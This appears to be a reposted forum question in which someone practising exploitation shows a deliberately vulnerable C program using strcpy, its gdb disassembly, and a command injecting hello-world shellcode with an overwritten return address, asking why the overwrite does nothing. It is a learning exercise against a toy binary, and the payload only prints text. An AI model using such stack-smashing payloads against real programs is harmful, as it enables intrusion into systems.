• caglararli@hotmail.com
  • 05386281520

How do I bypass a return address overwrite not doing anything?

Çağlar Arlı      -    6 Views

How do I bypass a return address overwrite not doing anything?

This is main:

(gdb) disass main

Dump of assembler code for function main:
   0x000000000040057c <+0>: push   rbp
   0x000000000040057d <+1>: mov    rbp,rsp
   0x0000000000400580 <+4>: sub    rsp,0x40
   0x0000000000400584 <+8>: mov    DWORD PTR [rbp-0x34],edi
   0x0000000000400587 <+11>:    mov    QWORD PTR [rbp-0x40],rsi
   0x000000000040058b <+15>:    mov    rax,QWORD PTR [rbp-0x40]
   0x000000000040058f <+19>:    add    rax,0x8
   0x0000000000400593 <+23>:    mov    rdx,QWORD PTR [rax]
   0x0000000000400596 <+26>:    lea    rax,[rbp-0x30]
   0x000000000040059a <+30>:    mov    rsi,rdx
   0x000000000040059d <+33>:    mov    rdi,rax
   0x00000000004005a0 <+36>:    call   0x400430 <strcpy@plt>
   0x00000000004005a5 <+41>:    mov    eax,0x0
   0x00000000004005aa <+46>:    call   0x400566 <function>
   0x00000000004005af <+51>:    mov    eax,0x0
   0x00000000004005b4 <+56>:    leave  
   0x00000000004005b5 <+57>:    ret    
End of assembler dump.

(gdb) list

#include <stdio.h>
#include <string.h>
void function(){
printf("test");
}
int main(int argc, char* argv[]) {
char a[34];
strcpy(a , argv[1]);
function();
return 0;
}

It was compiled using the following:

 gcc -g -o exploitable0 vulnerable_program0.c -fno-stack-protector -z execstack

The attacker is obviously tempted to overrun the buffer specified by the array 'a'.

Let's examine more in depth what the stack looks like when I run the exploit

(gdb) run $(perl -e 'print "\xeb\x15\x59\x31\xc0\xb0\x04\x31\xdb\xff\xc3\x31\xd2\xb2\x0f\xcd\x80\xb0\x01\xff\xcb\xcd\x80\xe8\xe6\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x1f\x77\x6f\x72\x6c\x64\x21\x21\x21\x21\x21\x21\x21\x21\x66\x05\x40\x00\x00\x00\x00\x00"')
Starting program: /home/twister17/Documents/hacking/exploitable0 $(perl -e 'print "\xeb\x15\x59\x31\xc0\xb0\x04\x31\xdb\xff\xc3\x31\xd2\xb2\x0f\xcd\x80\xb0\x01\xff\xcb\xcd\x80\xe8\xe6\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x1f\x77\x6f\x72\x6c\x64\x21\x21\x21\x21\x21\x21\x21\x21\x66\x05\x40\x00\x00\x00\x00\x00"')

Breakpoint 1, main (argc=2, argv=0x7fffffffdcf8) at vulnerable_program0.c:9
9   function();
(gdb) i r rbp
rbp            0x7fffffffdc10   0x7fffffffdc10
(gdb) i r rsp
rsp            0x7fffffffdbd0   0x7fffffffdbd0
(gdb) x/18xw $rsp
0x7fffffffdbd0: 0xffffdcf8  0x00007fff  0x0040060d  0x00000002
0x7fffffffdbe0: 0x315915eb  0x3104b0c0  0x31c3ffdb  0xcd0fb2d2
0x7fffffffdbf0: 0xff01b080  0xe880cdcb  0xffffffe6  0x6c6c6548
0x7fffffffdc00: 0x771f2c6f  0x646c726f  0x21212121  0x21212121
0x7fffffffdc10: 0x00400566  0x00000000
(gdb) 

the affected buffer starts at 0x7fffffffdbe0 and ends at 0x7fffffffdc10.

The shellcode injects smoothly, to make things simpler I overwrite the return address with that of the function. That is, I actually used 0x400566 as the return address, so if everything runs smoothly it would just call the function and print "test". You can clearly see from the assembly dump that is the address of the function "function".

expected output: "testtest".

actual output: test ( the program calls the function already).